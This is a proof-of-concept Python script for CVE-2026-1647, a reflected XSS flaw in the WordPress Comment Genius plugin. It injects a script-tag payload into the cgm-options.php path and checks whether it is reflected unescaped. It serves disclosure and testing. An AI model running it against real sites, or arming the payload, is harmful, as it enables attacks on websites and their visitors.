CVE-2026-1647 WordPress Comment Genius插件反射型XSS漏洞

# Proof of Concept (PoC) for CVE-2026-1647 # This script demonstrates the Reflected XSS vulnerability via $_SERVER['PHP_SELF'] import requests def check_vulnerability(target_url): """ Checks if the target is vulnerable to CVE-2026-1647. """ # The vulnerable endpoint is typically cgm-options.php # The payload is injected into the path payload = '"><script>alert("CVE-2026-1647")</script>' # Construct the malicious URL # Example: http://target.com/wp-content/plugins/comment-genius/cgm-options.php/"><script>... exploit_url = f"{target_url}/wp-content/plugins/comment-genius/cgm-options.php/{payload}" try: response = requests.get(exploit_url, timeout=5) # Check if the payload is reflected in the response unescaped if payload in response.text: print(f"[+] Vulnerability Detected at: {exploit_url}") print("[+] The application reflects the input without proper sanitization.") return True else: print("[-] Vulnerability not detected or patch applied.") return False except requests.exceptions.RequestException as e: print(f"[!] Error connecting to target: {e}") return False if __name__ == "__main__": # Replace with the actual target URL target = "http://example.com" check_vulnerability(target)